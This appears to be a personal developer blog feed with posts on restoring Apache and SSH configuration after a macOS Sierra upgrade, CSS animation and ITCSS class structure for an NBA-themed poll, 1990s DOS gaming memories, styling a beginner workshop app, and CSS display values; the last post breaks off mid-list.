I'm the type of person who likes to keep my software as updated as possible. You know, those people who run brew update && brew upgrade --all every morning and sudo apt-get upgrade their servers every time they login? Yes, I'm one of those (what did we say about judging earlier?).

Anyway, the overall experience was pretty smooth, largely because of my prior experience with updating from Yosemite to El Capitan and spent quite a long time re-configuring Apache. This time, I kinda already knew what to expect.

Download the update

First things first, actually get the update. Just open up the App Store and download the macOS Sierra update. It's filed under Utilities. Go through the pointy-clicky wizard bits where you have to agree to the terms and conditions and let your machine do its thing. I was actually watching Mr Robot while this was happening, so for me, this part was pretty uneventful. It probably took all of 30 minutes?

Web development stuff

Because I use my machine to earn a living, it is configured for web development. I don't use MAMP, instead I followed OS X 10.11 El Capitan Apache Setup: Multiple PHP Versions earlier this year when I reformatted my machine. I already did something similar when running Yosemite but I messed up during the upgrade to El Capitan and after a couple months I thought I'd just start from a clean slate.

My observation is that every time you upgrade the OS, your Apache configuration gets reset. Even though the OS saves a copy as httpd.conf~previous, this backed-up version had some lines I needed commented out. ¯\_(ツ)_/¯

I checked back with the guides I followed previously and double-checked that these lines were uncommented:

LoadModule authz_core_module libexec/apache2/mod_authz_core.so
LoadModule authz_host_module libexec/apache2/mod_authz_host.so
LoadModule userdir_module libexec/apache2/mod_userdir.so
LoadModule include_module libexec/apache2/mod_include.so
LoadModule rewrite_module libexec/apache2/mod_rewrite.so

Note: they don't appear in this order so use the Command+F function to find them.

But in general, I think it's safe to just save a copy of the current httpd.conf file and restore the previous version. I may or may not have messed up the httpd.conf file all on my own.

Rename the current file, just in case.

sudo mv /etc/apache2/httpd.conf /etc/apache2/httpd.conf.new

Restore the configuration file you so painstakingly setup the last time around.
```
sudo mv /etc/apache2/httpd.conf~previous /etc/apache2/httpd.conf
```

I also use a nifty tool called dnsmasq, which you can download using Homebrew. It's a set-it-and-forget-it solution for redirecting local development sites on your machine. Instructions to set this up can be found in the article The Perfect Web Development Environment for Your New Mac. So I also had to restore my Virtual Hosts configuration file.

Rename the current file, just in case.

sudo mv /etc/apache2/extra/httpd-vhosts.conf /etc/apache2/extra/httpd-vhosts.conf.new

Restore the configuration file you so painstakingly setup the last time around.

sudo mv /etc/apache2/extra/httpd-vhosts.conf~previous /etc/apache2/extra/httpd-vhosts.conf

SSH took me a while to figure out

The only thing that stumped me this time was the ssh configuration. macOS Sierra now uses OpenSSH_7.2p2, while El Capitan used OpenSSH_6.9p1. I'm guessing that with this version upgrade, the ssh configuration file had changed as well.

If you use AWS, you'll probably have a bunch of .pem files in your .ssh folder in addition to the standard id_rsa and id_rsa.pub. I didn't realise anything was wrong because I could continue ssh-ing into my servers but when I attempted to push code to my company's git server, I kept getting the dreaded Permission denied (publickey). error.

Turns out I had taken for granted that the id_rsa file was loaded into the ssh-agent by default previously. When I finally got round to examining the ssh configuration file, I realised everything in there had been commented out.

Update: my friend Sahil advised me that my original solution of editing the global ssh_config file wasn't such a great idea, so the post has been changed to reflect the better solution.

I like to use Sublime Text to edit my configuration files but you can use whatever you want. Create a config file in your ~/.ssh folder if you don't have one already. Note there are no file extensions here.
```
sudo sublime ~/.ssh/config
```
Add the line that specifies idrsa as the private key you want to use for authentication. The good part about having this _config file is that you can add other authentication keys here too so you don't have to manually add them to your ssh-agent every time you start a new session.
```
IdentityFile ~/.ssh/id_rsa
```

Wrapping up

All in all, this update was pretty trouble-free. Nothing really broke. So it's either I'm kinda lucky, or this update is kinda safe.

So make your own decision whether to upgrade or not, and may the odds ever be in your favour 😈.

Fun with CSS: NBA edition

Sun, 11 Sep 2016 00:00:00 GMT

This is my second "Fun with CSS" post, maybe this should become a series. But anyway, I had watched the video of Ethan Marcotte's talk at An Event Apart called Laziness in the Time of Responsive Design, and was fascinated by his progressive enhancement demo. It starts at around the 48 minute mark where he starts covering animation.

Design the transaction not the interface.

In the context of his demo, the transaction was to make a choice and submit it. This could have been achieved with a form consisting of a simple set of radio buttons and a submission button. It is key that the transaction works in all scenarios, while the interface can differ. I highly recommend watching the entire talk, definitely lots to take away from it. The end result of the demo was really cool, and I wanted to recreate it, just for kicks.

Wasn't as straightforward as I thought, largely because the code snippets in the presentation were focused only on the key parts of the implementation, but to get the entire thing to work required some more effort. I also took a lot of Harry Roberts's guidance on how to structure CSS to heart, especially after I watched CSS for Software Engineers for CSS Developers. So this experiment took me around 2 days, and a lot of that time was spent just thinking about how to structure my CSS classes and HTML. ¯\_(ツ)_/¯

Basic HTML structure

My usual workflow starts off with plain HTML elements, without classes or even wrapper divs for that matter. Personally I'm not a big fan of infinitely nested HTML to begin with, so I'm really scrooge-y about adding them.

<main>
  <h1>Which was the best moment in Game 7 of the 2016 NBA Finals?</h1>

  <form action="#" method="POST">
    <label>
      <input type="radio" name="moment" value="block" />
      <img src="https://www.chenhuijing.com/filerepo/block.jpg" alt="The Block" />
      <span>The Block</span>
    </label>

    <label>
      <input type="radio" name="moment" value="shot" />
      <img src="https://www.chenhuijing.com/filerepo/shot.jpg" alt="The Shot" />
      <span>The Shot</span>
    </label>

    <label>
      <input type="radio" name="moment" value="stop" />
      <img src="https://www.chenhuijing.com/filerepo/stop.jpg" alt="The Stop" />
      <span>The Stop</span>
    </label>

    <label>
      <input type="radio" name="moment" value="feelz" />
      <img src="https://www.chenhuijing.com/filerepo/feels.jpg" alt="The Feelz" />
      <span>The Feelz</span>
    </label>

    <button type="reset">Cancel</button>
    <button>OK</button>
  </form>
</main>

I went back-and-forth for a bit on whether I wanted the label to wrap the input element or use a for attribute with an id but eventually settled on wrapping everything up in the label element. It matters to link the label to its respective input from a semantic perspective as well to ensure a larger target for selection.

The progressive enhancement for my experiment is definitely not as robust as it could be, as I admittedly skipped straight to browsers that support flexbox and border-radius. Maybe one day when I have more time on my hands, I'll modify the code so it can run on really old browsers.

Intermission time...
Speaking of really old browsers, I recently attended the Vintage Computing edition of Hackware, which is a monthly meet-up for hardware developers and enthusiasts.
And my brilliant friend, Kheng Meng managed to get Windows 3.1 running on modern hardware, it was brilliant. We realised that IE5 does not support HTTPS, rendering many websites unusable. Guess who works perfectly? Google.com! 👏 for backward compatibility.

Add a little style...

Okay, so the basic version in the video was a row of radio buttons with images in the labels, plus some styles for the buttons at the bottom. I simply didn't feel like writing extra styles for that so I skipped straight to the big round image-as-selectors version. #imalazygudetama

*rolls up sleeves attempting to code*...then 🚶

In hindsight, the work needed from style-less to slightly-more-enhanced styles was a little more work that I expected. But it did give me a good chance to refresh my knowledge on CSS properties.

No styles at all

Slightly-more-enhanced

First things first: generic styles

Something I always do, and in this case Codepen does it by default, is set up some basic resets, and normalise box-sizing to border-box with my go-to snippet below. For my own projects, I customise the resets to what I actually use (because I'm OCD) rather than taking a pre-written reset stylesheet verbatim.

html {
  box-sizing: border-box;
}

*,
*::before,
*::after {
  box-sizing: inherit;
}

Tossed in some overall alignment and padding styles, because somehow I like things centred. Also used some custom webfonts (yes, I know performance things, I only used 2 fonts and 1 weight each, don't judge me...)

@import "https://fonts.googleapis.com/css?family=Shrikhand|Yantramanav";

main {
  padding: 1em;
  font-family: "Yantramanav", sans-serif;
  max-width: 65em;
}

h1 {
  font-family: "Shrikhand", cursive;
  font-size: calc(3vw + 1em); /* we'll talk about this line later */
  line-height: 1.2;
  margin-bottom: 0.5em;
}

ITCSS (or at least I try to)

ITCSS is the CSS architectural style I aspire toward, though it still doesn't come easy to me. I've bookmarked More Transparent UI Code with Namespaces and refer back to it constantly. It's a long article but really worth your time to read through and understand the principles behind this style of architecting your CSS. Admittedly I don't think I have gotten everything down pat, so please ping me if you have suggestions on how to make my code better 😌.

O is for object

I considered each of my label-wrapped radio buttons objects. By definition, an object may be used in any number of unrelated contexts to the one you can currently see it in. I thought about this for a long time, and in a larger project, I would classify the options as components. But for this case, additional content would simply be more questions, so a different context would probably be 3 options instead of 4.

In terms of scalability, I probably should have gone with components, but I guess that's why we refactor code, no? Anyway, buttons are objects too, resulting in the following 2 classes: o-option and o-btn. The nested elements in the labels were name-spaced with double underscores:
o-option__img
o-option__input
o-option__txt

Here's the end markup for the options (I only show 1 for brevity), which includes additional classes for other purposes. I was trying to go for the single responsibility principle here, so you'll see multiple classes per element quite often.

<div class="l-flex-parent c-4options u-margin-bot" id="js-options">
  <label class="l-flex-1_4 o-option js-option">
    <input class="o-option__input" type="radio" name="moment" value="block" />
    <img
      src="https://www.chenhuijing.com/filerepo/block.jpg"
      alt="The Block"
      class="o-option__img"
    />
    <span class="o-option__txt">The Block</span>
  </label>
</div>

Since the labels are all linked to their respective radio buttons, we can safely hide them away. But we can still utilise the pseudo-class :checked to indicate when an option is selected. In this case, the ordering of my elements within the label starts with radio element, then image, then text. So I used the adjacent sibling selector to target the image, and the general sibling selector for the text. Yes, it would still work if I used the general sibling selector for both elements. Somebody please tell me if there are performance implications or any browser bugs with regards to these 2 types of sibling selectors 🙏.

.o-option__input {
  opacity: 0;
  position: absolute;
  pointer-events: none;

  &:checked + .o-option__img {
    border-color: #860038;
  }

  &:checked ~ .o-option__txt {
    color: #860038;
  }
}

I used vw as the unit because I wanted the images to resize nicely as the screen size changed. A maximum limit of 200px was included, otherwise it just got ridiculous at larger viewport widths. Other stylistic concerns include the 50% border radius for round images and the 4px border in Cleveland Cavalier team gold.

.o-option__img {
  width: 20vw;
  height: 20vw;
  max-height: 200px;
  max-width: 200px;
  margin-bottom: 1em;
  border-radius: 50%;
  border: 4px solid #fdbb30;
}

The buttons also needed their own wrapper, because the styles I used require a parent div to work. Don't get too confused by the name spacing of classes, I'll cover it a bit more later.

<div class="l-flex-parent u-flex-end c-actions" id="js-actions">
  <div class="l-flex-1_4">
    <button class="o-btn c-action js-btn" type="reset">Cancel</button>
  </div>
  <div class="l-flex-1_4">
    <button class="o-btn c-action js-btn">OK</button>
  </div>
</div>

Styles for the buttons were also similar, in that, they too would be big and round. Browsers apply default font-size styling to buttons, for example using Chrome on Mac, there is this line: font: 11px BlinkMacSystemFont; and using Opera on Windows 10, there is font: 13.3333px Arial;. Point being, if you don't explicitly set the font-size and font-family for your buttons, they may not look like you expect.

.o-btn {
  width: 20vw;
  height: 20vw;
  max-height: 200px;
  max-width: 200px;
  font-size: calc(1em + 1.5vw);
  font-family: inherit;
  border-radius: 50%;
  border: 0;
  outline: 0;
  background-color: #860038;
  color: #fdbb30;
  cursor: pointer;

  &:hover {
    background-color: #fdbb30;
    color: #860038;
  }
}

Update: thanks to @maxlibin for pointing out my missing & on the :hover pseudo-class

For most cases, setting both properties to inherit should make the text in your buttons match the rest of your site. In my quest for making this a responsive project, I chose to use vw as my unit of choice, tempered with a base size of 1em. I'd love to be more scientific about this but did I mention my penchant for sloth? I can, however, refer you to Precise control over responsive typography by Mike Riethmuller.

Again, some reset-related styles to get rid of the border and outline (yes accessibility concerns, I might just remove that outline reset). And some hover styles, which switched the background colour and text colour when people hovered over the buttons.

L is for layout

The layout used a 4-column grid, with the buttons aligning to the right. The thing about using flexbox is sometimes you end up having more parent divs than if you didn't. But then I think back to this quote by Rachel Andrew from her talk at Fluent Conf:

Flexbox for 1 dimensional layout
CSS Grid is for 2 dimensional layout

I would have done things differently using Grid, especially for the enhanced animation version, but for now, flexbox it is. The basic version is not all that complicated.

.l-flex-parent {
  display: flex;
}

.l-flex-1_4 {
  flex: 0 0 25%;
}

U is for utility

I was first introduced to the concept of utility classes when I read Harry Roberts' article back in 2015. But I only really caught on when he published The Importance of !important: Forcing Immutability in CSS earlier this year.

If it’s permanent styling, formalise it and code it right into your CSS. If it’s short-term or one-off styling, use a utility class.

This was really the line that flipped a switch in my brain. Before that I was always confused on whether to add certain CSS properties to a component's styles or create a separate utility class. Keeping with the guideline that utility classes should be very specific and do only one thing well, these are the utility classes I used.

.u-flex-end {
  justify-content: flex-end;
}

.u-txt-center {
  text-align: center;
}

.u-centralise {
  margin-left: auto;
  margin-right: auto;
}

.u-pos-relative {
  position: relative;
}

.u-margin-bot {
  margin-bottom: 2em;
}

C is for component

In the non-animation version, there really wasn't much use for component-specific styles. I considered the option set a component, and the button set another component. So we now also have c-4options and c-actions classes. I tend to use plural forms for parent divs so I can re-use the singular for child elements. What can I say? Naming is hard.

Because components are defined as a concrete, implementation-specific piece of UI, the styles should be context-specific. So buttons have both the o-btn and c-action class, where the object styles would apply regardless of where you see my buttons, but the component styles are specific to when they are used in the context of being form controls.

Now that we got that out of the way, time to add in the animation bits.

Enhance with animation

We only want the animation-related styles to apply on browsers that support animation, and we can do that using a tool called Modernizr. If you don't know what Modernizr is, it is written in JavaScript and detects if certain features are available on the browser your site/app is currently running on. You can customise your Modernizr build by only selecting the features you've used instead of the entire plethora of HTML, CSS and JavaScript features available out there.

Codepen includes a number of popular JavaScript libraries and you can quick add Modernizr from the JavaScript section of your Pen's settings. The extent of the JavaScript used on this project is simply to add and remove CSS classes. All the heavy lifting is done with CSS animations.

if (window.Modernizr.csstransforms3d && window.requestAnimationFrame) {
  doc.className += " has-animation";
  window["hasAnimation"] = true;
}

If the browser supports animations, the script will add a has-animations class to the HTML element. Because I used SASS, I nested all the animation-related styles inside the .has-animations class. All the CSS in this section are the nested bits.

End result should look like this.

Sorry, your browser doesn’t support embedded videos. Sorry, your browser doesn’t support embedded videos, but don’t worry, you can download itand watch it with your favourite video player!

From a layout perspective, the buttons section becomes positioned directly beneath the options section. The key to this animation is the z-index property. What we want is that when nothing is selected, all 4 options are clickable and sitting on the topmost layer, while the buttons hidden away below them. When something is selected, 2 classes are triggered. The parent wrappers for options and buttons both get an is-active class and the selected option gets an is-selected class.

.c-actions {
  position: absolute;
  top: 0;
  right: 0;
  left: 0;
  z-index: -1;
}

.c-action,
.is-active .o-option:not(.is-checked) {
  transform: scale(0);
  opacity: 0;
  z-index: 0;
}

.o-option,
.c-action {
  transition: transform 0.4s ease-in-out, opacity 0.4s ease-out;
  transition-delay: 0.1s;
}

We make use of the :not pseudo-class to target all the options which weren't selected and make them hidden, like the buttons originally were when nothing was selected. Transforms and opacity are the 2 properties which can be safely animated, and we do that by adding a transition property to the options.

.is-active.c-actions {
  z-index: 1;
}

.is-active .c-action {
  opacity: 1;
  transform: scale(1);
}

.is-active.c-4options {
  z-index: -1;
  .is-checked.o-option:nth-child(1) {
    transform: translateX(100%);
  }
  .is-checked.o-option:nth-child(3) {
    transform: translateX(-100%);
  }
  .is-checked.o-option:nth-child(4) {
    transform: translateX(-200%);
  }
}

When the .is-active selector is in play, the buttons need to be on the topmost layer, and only the selected option should be visible. The nth-child selectors come in very handy here, because the selected option will always appear second from the left, while the other options remain constant. Depending on the source order of the option, the relevant translation rule will kick in and shift the option to the second position every time 😎.

I added in a logo image just to fill in the blank space in the first position after an option was selected, and it lives in the buttons wrapper. I think if I were using Grid I would have been able to specify the I wanted the logo in the first column, while the Cancel and OK buttons were in the third and fourth columns respectively. But you can't do this simply with flexbox so I cheated and used translate to kick it to the left instead. ¯\_(ツ)_/¯

The stuff I said I would talk about later

Remember that line all the way up the the post that looked something like:

font-size: calc(3vw + 1em);

I got this idea from Mike Riethmuller, who has wrote about this topic quite extensively on his own blog as well as for Smashing Magazine. He gets around the issue of CSS not having a minimum font size property with the calc() function.

An issue with using purely viewport units for your font-size is that there will be a point where the font size becomes unacceptably small. Using a calc() expression allows us to set a minimum size (in the above example, 1em) to prevent that.

Wrapping up

See the Pen Fun with CSS: NBA edition by Chen Hui Jing (@huijing) on{" "} CodePen.

The entire demo is on Codepen, so feel free to do whatever you want with it. This post definitely turned out much longer than I anticipated, largely because I ramble a lot #selfaware. But I did learn a lot from building it, especially the ITCSS structuring portion. I mean, I could have chucked everything into large monolithic components and still got everything work, BUT I DIDN'T.

The moral of the story is, the best way to learn something is to write a blog post about it AND imagine that it'll be read by a lot of people (even if you know odds are only 10 people will). That way you'll feel obliged to actually do some proper research and put in a decent amount of effort to clean up your code 😈.

Reminiscing the 90s and other random thoughts

Thu, 08 Sep 2016 00:00:00 GMT

So I'm fresh off the latest iteration of Hackware, a monthly meetup for hardware developers and enthusiasts in Singapore and the theme for this round was Vintage Computing. I can't tell you how much I appreciate and love vintage technology, but generally my face goes 😍 when the topic comes up.

The event reminded me of a really long conversation I had with a friend a couple months ago. We hadn’t met in a while and our conversation veered all over the place. But one of the things we talked about was computers. Specifically, how some people are just averse to figuring out computers, that it’s a specific personality that can become “IT folk”.

Computers...compute...computations

Warning...this part might come across as kinda ranty

A computer performs computations, hence the name. Fun fact, computers used to be people. Back in the 18th century, with the advent of the Industrial Age, being a human computer was a respectable profession that helped further humanity into the modern age we know today.

Fascinating book on human computers.

But I digress, computers have evolved at an astonishing rate within the last 100 years, from behemoths spanning rooms running on vacuum tubes, then moving on to transistors, and now we have tiny devices running on microchips.

It might be hard for some younger folk to imagine, but computers weren’t all that common in the home as recently as 30 years ago. Most early home computers came as kits, requiring technical know-how to assemble and program. But as mass market computers started to take off, the level of technical knowledge required to operate and use a computer conversely went down.

I suppose that’s also a reason why personal computing became more ubiquitous. Fast-forward to today, it’s not unreasonable to say that there are a large percentage of computer users who don’t understand how computers work. It’s almost seems like a magic box that does magical things.

A magic box, you say...

As computers became more widespread and popular among the general public, the demand for easy-to-use interfaces also ballooned. Graphical user interfaces (GUIs) had been around for the longest time though. Think Apple’s iconic Macintosh desktop, and the still-going-strong X11. These interfaces were more intuitive for most common users with no formal technical training and really grew the industry as well.

But everything has a down-side, and the down-side of this is that we now have quite a large proportion of users who really don’t know how computers work. If you’re the token IT guy among your friends or colleagues, I think you’ll relate to this.

I’m using the word computer very broadly here, smartphones, tablets, laptops, they’re all computers to me. Even though I sometimes think it’d be nice if the common user goes through some basic computer literacy course before being allowed to operate a computer, I guess that’s pretty unrealistic. From the consumer’s standpoint, we just want something that is easy to use and just works out the box.

So you can imagine my excitement when the Hackware announced that they would be doing a Vintage Computing edition of the meetup. It also made me start thinking about how I used computers twenty years ago. I thought it'd be fun to try to remember and document as much I could. There will likely be inaccuracies though, because your brain will lie to you!

End ranty section and start reminiscing section

Before the age of pointy-clicky

Does anybody remember this at all?

I was lucky enough to be exposed to computers since the age of 5. The first computer I played around with ran on MS-DOS. To be honest, the only reason I learned to operate that machine was purely so I could play games. I think it’s safe to say that it was easier to understand how computers worked then, simply because there was a lower level of abstraction than what we have now. I’m not saying it’s a bad thing, it’s just an observation.

Direct Access, the DOS menuing shell by Delta Technology International

So this was the first operating system I ever used, or at least that I can remember I used. When we first got Windows 3.1 installed, it had to be launched from this DOS menuing shell too. Our games were installed to a separate directory and the only 2 entries I ever accessed were Windows and Games.

When turbo buttons were a thing

According to my older sister, we had an Apple II before I was born, but we didn't bring it along with us when we moved. The earliest computer I can remember had a horizontal chasis, a 5.25 inch floppy drive and the magical turbo button.

At the time I didn't know what it did except that it changed the numbers on the display when we pressed it. I found out much later (from HowToGeek.com) that the name turbo was misleading because it actually slowed the processor. Processor speed determined the timing of in-application events, especially critical in games, and the turbo button was a hard-wired solution for games that were built to be played on slower systems.

We had something similar at home.

I guess the games that I played didn't really have this compatibility issue, hence the lack of awareness of what purpose it actually served. It did make a lovely click sound when depressed though (we remember the most useless things, don't we).

All the glorious pixels

There were a lot of educational games in the Chen household. But I found them fun to play anyway. There were a lot of Broderbund and The Learning Company games. Even my dad played Where in the World is Carmen Sandiego, and we had the Space version, the Time version and a bunch of other spin-offs. Boy did the publishers milk that franchise.

It wasn't until I read the book Gamers at Work that I realised Broderbund was acquired by The Learning Company in 1998. Another publisher whose games I really loved was Sierra, which made the Dr. Brain series, as well the slew of city-building games which began with Caesar back in 1992.

Classic Carmen Sandiego

Among many in the series

Of course we had more than just educational games. Side-scrollers were all the rage back then, Cosmo's Cosmic Adventure and Commander Keen were among my favourites. There wasn't any DRM stuff back then so whenever we went to visit my cousins, we'd just copy games onto 3.5 inch floppies and bring em' home. I think most of our games were shareware anyway, because I distinctly remember only being able to play the first episode of Doom and replayed it so many times I could speed-run through it.

Side-scrollers were the best

This had interesting save features

You can imagine how ecstatic I was when I discovered this marvellous app known as DosBox. I then proceeded to search out ALL the Dos games I played when I was a kid, as well as the full versions of those shareware ones. If you're interested, hit me up. Most of the Dos games are abandonware now anyway.

We moved on to Windows 3.1 eventually and that brought along another set of games into my life. There was this Tetris clone called Faces that somehow left a pretty lasting impression. But speaking of Tetris, I can't tell you how many hours I spent on that. There was one point where when I closed my eyes I could see those falling blocks. There was also this golf game I can't really remember and Ski Free!

If you haven't played Ski Free before, it's really simple. You control this ski-er zooming downhill but you get points for doing tricks on jumps. But it was compellingly addictive. In fact, this probably explains why I loved the SSX series much later when I finally got a Playstation.😱 Revelations!

So many hours on this

Surprisingly addictive this one

Wrapping up

Well, that was my trip down memory lane. I don't actually personally know that many people who love old games, come to think of it. So that's probably why this post grew so long, years of conversation about vintage games just tumbling out from my brain. 🤓

Anyway, if you're remotely interested in hardware and are currently in or will be in Singapore, check out Hackware or any other of the local tech meetups from webuild.sg.

Fun with CSS: TechLadies edition

Mon, 22 Aug 2016 00:00:00 GMT

So there's this thing going on known as the TechLadies Bootcamp. TechLadies is a community-led initiative for women in Asia to connect, learn, and advance as programmers in the tech industry (I lifted that verbatim from the website 😛). I was helping out with one of the pre-bootcamp workshops covering, what else, HTML and CSS.

The goal of the workshop was to introduce the basics of the Internet, plus an introduction to HTML and CSS. Our task for the day was to style a simple Ruby application, called Guess The Number. Although the application was built in Ruby, the participants only needed to concern themselves with the views portion.

Given I was supposed to be teaching this workshop, I figured I'd better do some leg-work first, and try my hand at styling the application myself. I guess I got a little carried away, in that things got a bit too fancy for a beginner's workshop. But it was really fun for me and I thought I'd share what I did for the fancy edition.

Application mark-up

The base application was written by Gabe Hollombe, probably in 5 minutes with one hand tied behind his back, because he's brilliant like that 😎. There were 3 main views, the start page, play page and win page. Excellent, because it provided just enough material to cover for a beginner's workshop.

index.html

<body class="flex start">
  <main class="flex-item">
    <h1 class="title">
      <span>Guess The</span>
      <span>Number</span>
    </h1>

    <div class="text-wrapper">
      <p>Here's a simple game you can play to try and guess the number I'm thinking of.</p>
      <p>Ready to play?</p>
      <a class="btn" href="/new">Start!</a>
    </div>
  </main>
</body>

play.erb

<body class="flex play">
  <main class="flex-item">
    <div class="text-wrapper">
      <h1>I'm thinking of a number between 1 and 100.</h1>
      <h2><%= guess_prompt %></h2>
      <p><%= guess_description %></p>

      <form action="/play" method="post">
        <input
          class="guess-value"
          type="number"
          name="guessed_number"
          min="0"
          max="100"
          autofocus
        />
        <input class="btn" type="submit" value="Guess" />
      </form>
    </div>
  </main>
</body>

win.erb

<body class="flex play">
  <main class="flex-item">
    <div class="text-wrapper">
      <h1>You Win!</h1>
      <img class="trophy" src="img/trophy.svg" alt="Trophy" />
      <h2>You guessed it! I was thinking of the number <%= secret_number %>.</h2>
      <a class="btn" href="/new">Play Again</a>
    </div>
  </main>
</body>

But first, let me add some resets

html {
  box-sizing: border-box;
  height: 100%;
}

*,
*::before,
*::after {
  box-sizing: inherit;
}

h1,
h2,
p {
  margin: 0;
  padding: 0;
}

input,
button {
  appearance: none;
  display: block;
  border: 0;
  border-radius: 0;
  outline: 0;
  font-size: inherit;

  &:hover,
  &:active,
  &:focus {
    border: 0;
    outline: 0;
  }
}

img {
  max-width: 100%;
}

General layout

Centre all the things with flexbox! To keep things simple, I just made everything right smack in the middle of the page, and no better way to do that now than with flexbox.

.flex {
  display: flex;
  flex-wrap: wrap;
  text-align: center;
  align-items: center;
}

.flex-item {
  flex: 1 1 100%;
}

The .flex class was applied on the body element while the .flex-item class was applied to the main element.

Opening title

I wanted a skewed, slanted effect for the title, kind of like those television game show opening sequences (or least, those in my head). And it had to be BIG, so you couldn't miss it. So I went for a sans-serif that was chunky, but narrow. Fjalla One felt right to me. The whole title was a bit long, so I split it up with span tags.

h1 {
  font-family: "Fjalla One", sans-serif;
  text-transform: uppercase;
  margin-bottom: 0.5em;
}

.title {
  font-size: 15vmin;
  margin: 5vmin 0;

  span {
    transform: rotate(-10deg) skew(-10deg);
    display: block;
    text-shadow: 1px 1px #333, 2px 2px #333, 3px 3px #333, 4px 4px #333, 5px 5px #333, 6px 6px #333;
  }
}

`transform`

But the crux of the title style is the transform` property. CSS transforms allow us to do all kinds of fun stuff, like in Photoshop but with code. I wrote about basic 2D transforms a while back, if anyone is interested to find out more about this awesome property.

First rotate -10 degrees, then skew -10 degrees

span {
  transform: rotate(-10deg) skew(-10deg);
}

If you want to combine multiple transforms, they should be applied to the same transform property. Meaning if you declare the individual transforms one after another in two separate properties, only the last one will apply.

Wrong way to do it:

span {
  transform: rotate(-10deg);
  transform: skew(-10deg); /* Only this one will take */
}

`text-shadow`

I also wanted the letters to have a solid 3D look to them. Cue the text-transform property. This property takes in 4 arguments in total, but the last 2 arguments, blur-radius and color, are optional. Each shadow is specified as an off-set from the text, and multiple shadows can be applied. In order to get that 3D look I wanted, I applied 6 text-shadows in total.

span {
  text-shadow: 1px 1px #333, 2px 2px #333, 3px 3px #333, 4px 4px #333, 5px 5px #333, 6px 6px #333;
}

If you wanted to do something like a rainbow-layered block effect, then your code might look something like this:

span {
  text-shadow: 1px 1px red, 2px 2px orange, 3px 3px yellow, 4px 4px green, 5px 5px blue, 6px 6px
      violet, 7px 7px indigo;
}

Page background

By right, CSS gradients are cannot be animated. But by left, we can sort of hack it to work. Note the term hack. This particular hack I'm using is a performance killer, which means I need to research a bit further on more performant techniques, maybe involving will-change or some way of manipulating an extra div or 2 with transform: translate() instead. Stay tuned, folks.

But for now, as I ask for forgiveness from the performance gods, hacky method it is. The trick involves animating the background-position property (which is extremely resource-heavy because it's triggering a repaint for every frame of the animation 😔.

body {
  height: 100%;
  margin: 0;
  color: $white;
  font-family: "Average", serif;
  position: relative;
  background: linear-gradient(45deg, #7a378b, #b44473);
  background-size: 1000% auto;
  animation: fade 7s ease infinite;
}

@keyframes fade {
  0% {
    background-position: 0% 50%;
  }

  50% {
    background-position: 100% 50%;
  }

  100% {
    background-position: 0% 50%;
  }
}

But essentially, what we have here is a background gradient which is much larger than what is visible, then animating the background-position along the x-axis over a span of 7 seconds (in this example). Because we're animating a gradient and the colours I'm using blend quite subtly together, the performance jank may not be that obvious, but trust me, the animation is janky.

Fake multiple background effect

In the play and win pages, I also added a number pattern to the background. At first I wanted to make use of the fact that modern browsers support multiple CSS backgrounds but because I used the background-position hack earlier, I could not. So rather than adding another div just for the additional background, I used the ::after pseudo-element instead.

.play::after,
.win::after {
  content: "";
  display: block;
  position: absolute;
  z-index: -1;
  left: 0;
  right: 0;
  top: 0;
  bottom: 0;
  background: url("img/bg.png");
}

The position properties make sure the element spans the entire viewport, while the z-index was set to -1 so it would render under the other elements on the page.

Press-able buttons

Flat design is nice and everything, but I like my buttons with a bit of movement. The depressed effect when the button is clicked can be achieved by styling the box-shadow property. Add a 4px offset-y box-shadow below the button, then translate the button downwards by 4px while removing the box shadow when the button is clicked by styling the :active pseudo-class.

.btn {
  font-family: "Fjalla One", sans-serif;
  color: #000;
  padding: 0;
  text-decoration: none;
  margin: 0 auto;
  display: block;
  position: relative;
  border-radius: 50%;
  width: 90px;
  height: 90px;
  line-height: 90px;
  border: 2px solid #648c30;
  background: #8cc049;
  box-shadow: 0 4px #648c30;

  :hover {
    border: 2px solid #648c30;
  }

  :active {
    box-shadow: 0 0 #648c30;
    transform: translateY(4px);
  }
}

Big number input

This is quite minor, but I also wanted the number input to be nice and large. Simply because this was the only important thing on the page anyway. Given the game ran numbers from 1 to 100, the input only needed enough space for 3 digits plus the default stepper. I went with ch for units because it seemed apt. Note: ch is the width of the character "0" in the current font.

.guess-value {
  font-size: 10vmin;
  text-align: center;
  width: 4ch;
  margin: 0 auto 1rem;
}

Wrapping up

And that's about it. You can check out the entire source code for the project on GitHub under the fancy branch and see the live site at https://tl-workshop-2.herokuapp.com/.

Also, information about TechLadies can be found at their official website, and also checkout their Facebook page for the latest updates.

How well do you know CSS display?

Sat, 18 Jun 2016 00:00:00 GMT

This article has been translated to Japanese by Kana Takahashi on POSTD.

The display property is one of the most important CSS properties we use for layout. Most of us would have used block, inline and none. table and inline-block are also quite common. The new darling is definitely flex, because it's a display property that was created specifically for layout. The upcoming grid (currently still being actively worked on) is another layout-specific property that we'll soon have in our arsenal as well.

This post grew much longer than I initially expected so feel free to skip to a subsection if you wish. Though I would really appreciate it if you took the time to read the whole post 😁.

Those we know quite well already
Remember them table-based layouts?
New kids on the block
- display: flex;
- display: grid;
The relatively obscure and experimental
Further reading

Through my experience of building various responsive designs, I learnt a lot about the display and position properties, how they work and how they can be combined with media queries to achieve the desired layouts. I'll briefly cover each value, and also reminisce about a few responsive components I built previously that utilised display quite heavily.

We can't talk about display without mentioning something called a box tree. Basically the browser parses CSS and renders it by generating a box tree, which represents the formatting structure of the rendered document. The display property defines the box's display type.

The topic of how browsers render stuff on the screen is a really fascinating one and I highly suggest reading How Browsers Work: Behind the scenes of modern web browsers by Talia Garsiel. Another must-read is Evolution of CSS Layout: 1990s to the Future by Fantasai, who works on CSS specifications at W3C. It's actually a talk she gave at the Emerging Technologies for the Enterprise conference, but there's a full transcript if video is not your thing.

Those we know quite well already

Fun fact: the display values we use all the time are actually short-hand. For example, block is actually short-hand for block flow. Refer to the specification for full list.

All elements have a default display value, but they can be overridden by explicitly setting the display value to something else.

`display: none`

Removes the element and its children from the normal document flow. The document is rendered as if the element was never there to begin with, which means the space it occupied is collapsed. The content of the element is also ignored by screen readers.

`display: inline`

The element generates one or more inline boxes. Inline-level elements take up, as the name suggests, as much space on the line as its tags define. Can be considered the complement to block-level elements.

`display: block`

The element generates a block level box. All block-level elements start on a new line and, unless otherwise specified, stretches to width of its container.

`display: list-item`

An element rendered as a list-item behaves exactly like that of a block-level element, but it also generates a marker box, which can be styled by the list-style property. Only <li> elements have the default value of list-item. Usually used to reset <li> elements back to their default behaviour.

`display: inline-block`

